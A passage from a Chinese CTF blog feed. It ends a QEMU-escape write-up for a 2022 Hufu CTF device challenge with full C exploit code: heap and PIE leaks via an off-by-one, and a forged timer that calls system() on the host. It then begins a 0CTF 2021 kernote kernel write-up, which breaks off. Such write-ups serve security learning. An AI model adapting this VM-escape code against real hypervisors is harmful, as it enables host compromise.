punctuation">;</span>    <span class="token function">setbuf</span><span class="token punctuation">(</span><span class="token constant">stdout</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">setbuf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">setbuf</span><span class="token punctuation">(</span><span class="token constant">stdin</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    pagemap_fd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/proc/self/pagemap"</span><span class="token punctuation">,</span> O_RDONLY<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>pagemap_fd <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"open pagemap"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">exit</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">iopl</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span> <span class="token operator">!=</span><span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"iopl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">exit</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">set_phy_addr</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">set_request_size</span><span class="token punctuation">(</span><span class="token number">0x400</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// leak heap</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"1. leaking heap"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// getchar();</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] pos = 0x200"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>cmd <span class="token operator">=</span> ENC<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>sub_cmd <span class="token operator">=</span> ENC1<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x200</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] pos += 0x100"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>cmd <span class="token operator">=</span> TIMER<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x100</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] off-by-one"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>cmd <span class="token operator">=</span> ENC<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>sub_cmd <span class="token operator">=</span> ENC2<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x300</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0x300</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"checker = %#lx\n"</span><span class="token punctuation">,</span> <span class="token function">get_checker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] pos += 0x10"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>cmd <span class="token operator">=</span> TIMER<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x10</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"pos = %#lx\n"</span><span class="token punctuation">,</span> <span class="token function">get_pos</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] reset cache_addr"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// cache_addr/req_addr</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>cmd <span class="token operator">=</span> TIMER<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"pos = %#lx\n"</span><span class="token punctuation">,</span> <span class="token function">get_pos</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0x310</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] reading data  ..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// leak &amp;request</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>cmd <span class="token operator">=</span> READ<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x310</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>ptr <span class="token operator">=</span> <span class="token function">gva_to_gpa</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    heap <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>buf<span class="token punctuation">[</span><span class="token number">0x308</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    timer_ptr <span class="token operator">=</span> heap <span class="token operator">+</span> <span class="token number">0x12b8</span><span class="token punctuation">;</span>    timer_list_ptr <span class="token operator">=</span> heap <span class="token operator">-</span> <span class="token number">0x110e8c8</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"heap address: %#lx\n"</span><span class="token punctuation">,</span> heap<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"timer_ptr: %#lx\n"</span><span class="token punctuation">,</span> timer_ptr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"timer_list_ptr: %#lx\n"</span><span class="token punctuation">,</span> timer_list_ptr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// leak pie</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"2. leaking pie"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// getchar();</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] off-by-one"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>cmd <span class="token operator">=</span> ENC<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>sub_cmd <span class="token operator">=</span> ENC2<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x300</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0x300</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"checker = %#lx\n"</span><span class="token punctuation">,</span> <span class="token function">get_checker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"pos = %#lx\n"</span><span class="token punctuation">,</span> <span class="token function">get_pos</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0x310</span>    <span class="token comment">// getchar();</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] set time delay"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">set_time</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] trigger timer, pos+=8"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>cmd <span class="token operator">=</span> TIMER<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] modify cache_addr before timer runing"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>cmd <span class="token operator">=</span> ENC<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>sub_cmd <span class="token operator">=</span> ENC2<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x310</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0x308</span><span class="token punctuation">]</span> <span class="token operator">=</span> heap <span class="token operator">^</span> <span class="token punctuation">(</span>timer_ptr <span class="token operator">+</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"waiting for timer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// getchar();</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] reading data  ..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// leak &amp;request</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>cmd <span class="token operator">=</span> READ<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x318</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>ptr <span class="token operator">=</span> <span class="token function">gva_to_gpa</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    hfdev_func <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>buf<span class="token punctuation">[</span><span class="token number">0x310</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    cbase <span class="token operator">=</span> hfdev_func <span class="token operator">-</span> <span class="token number">0x381190</span><span class="token punctuation">;</span>    system <span class="token operator">=</span> cbase <span class="token operator">+</span> <span class="token number">0x2d6614</span><span class="token punctuation">;</span>    binsh <span class="token operator">=</span> cbase <span class="token operator">+</span> <span class="token number">0x869b82</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"hfdev_func = %#lx\n"</span><span class="token punctuation">,</span> hfdev_func<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"cbase = %#lx\n"</span><span class="token punctuation">,</span> cbase<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"system = %#lx\n"</span><span class="token punctuation">,</span> system<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"binsh = %#lx\n"</span><span class="token punctuation">,</span> binsh<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"3. fake timer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// getchar();</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] modify timer ptr"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>cmd <span class="token operator">=</span> ENC<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>sub_cmd <span class="token operator">=</span> ENC2<span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x318</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0x300</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token comment">// checker</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0x310</span><span class="token punctuation">]</span> <span class="token operator">=</span> hfdev_func <span class="token operator">^</span> <span class="token punctuation">(</span>heap <span class="token operator">+</span> <span class="token number">0x100</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] trigger fake timer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">set_time</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>cmd <span class="token operator">=</span> TIMER<span class="token punctuation">;</span>    fake_timer_ptr <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>req <span class="token operator">+</span> <span class="token number">0x100</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    fake_timer_ptr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0xffffffffffffffff</span><span class="token punctuation">;</span>  <span class="token comment">// expire_time</span>    fake_timer_ptr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> timer_list_ptr<span class="token punctuation">;</span> <span class="token comment">// timer_list</span>    fake_timer_ptr<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> system<span class="token punctuation">;</span>  <span class="token comment">// cb</span>    fake_timer_ptr<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">=</span> heap <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">;</span> <span class="token comment">// opaque</span>    <span class="token function">strcpy</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>req <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">"echo getflag! &amp;&amp; cat flag"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">getchar</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><blockquote><p>跟踪 timer_mod 源码，发现会调用 timer_list 对象里的某个函数指针，伪造 timer_list 就可以不用等回调直接劫持程序控制流了</p></blockquote><blockquote><p>调试是真的麻烦，可以多借助条件断点来调试</p></blockquote><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ol><li>感谢 @Mr.R 师傅的 writeup </li><li><a href="https://a1ex.online/2021/09/17/qemu%E9%80%83%E9%80%B8%E5%AD%A6%E4%B9%A0/">https://a1ex.online/2021/09/17/qemu%E9%80%83%E9%80%B8%E5%AD%A6%E4%B9%A0/</a></li><li><a href="http://blog.leanote.com/post/xp0int/2022-%E8%99%8E%E7%AC%A6%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8">http://blog.leanote.com/post/xp0int/2022-%E8%99%8E%E7%AC%A6%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8</a></li><li><a href="https://github.com/qemu/qemu/blob/v6.1.1/util/qemu-timer.c#L356">https://github.com/qemu/qemu/blob/v6.1.1/util/qemu-timer.c#L356</a></li></ol>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/images/cdcd3a27/pasted-1.png&quot; alt=&quot;pwn!&quot;&gt;&lt;br&gt;off-by-one 藏得挺深啊&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="ctf" scheme="http://www.xi4oyu.top/tags/ctf/"/>
    
      <category term="qemu" scheme="http://www.xi4oyu.top/tags/qemu/"/>
    
  </entry>
  
  <entry>
    <title>2021-0CTF-FINAL-kernote</title>
    <link href="http://www.xi4oyu.top/5b4f46e3/"/>
    <id>http://www.xi4oyu.top/5b4f46e3/</id>
    <published>2022-03-21T05:47:00.000Z</published>
    <updated>2022-03-21T05:47:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>借此题来学习下 modify_ldt 在 linux kernel 中的利用思路</p><span id="more"></span><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>出题人公开的题目附件以及wp：<a href="https://github.com/YZloser/My-CTF-Challenges/tree/master/0ctf-2021-final/kernote">https://github.com/YZloser/My-CTF-Challenges/tree/master/0ctf-2021-final/kernote</a></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><h3 id="前置信息"><a href="#前置信息" class="headerlink" title="前置信息"></a>前置信息</h3><p>题目提供了个  readme.md</p><blockquote><p>Here are some kernel config options in case you need it</p></blockquote><pre class="line-numbers language-none"><code class="language-none">CONFIG_SLAB&#x3D;yCONFIG_SLAB_FREELIST_RANDOM&#x3D;yCONFIG_SLAB_FREELIST_HARDENED&#x3D;yCONFIG_HARDENED_USERCOPY&#x3D;yCONFIG_STATIC_USERMODEHELPER&#x3D;yCONFIG_STATIC_USERMODEHELPER_PATH&#x3D;&quot;&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>根据该文件可以知道，kernel 使用了 <strong>slab</strong> 而不是默认的 slub 分配器，并且开启了一些缓解措施：</p><ol><li><strong>SLAB_FREELIST_RANDOM</strong>，free_list 会存在打乱顺序的情况，取到的 object 不可预测（<strong>这里挖个小坑</strong>）</li><li><strong>SLAB_FREELIST_HARDENED</strong>，free_list 的 next 指针将不是真实有效的 object 指针，简单描述就是 <code>object-&gt;next = object_addr ^ random ^ next_object_addr</code></li><li><strong>HARDENED_USERCOPY</strong>，在使用 copy_to_user、copy_from_user 等函数时，会对内核空间的指针进行检查，对于内核 .text 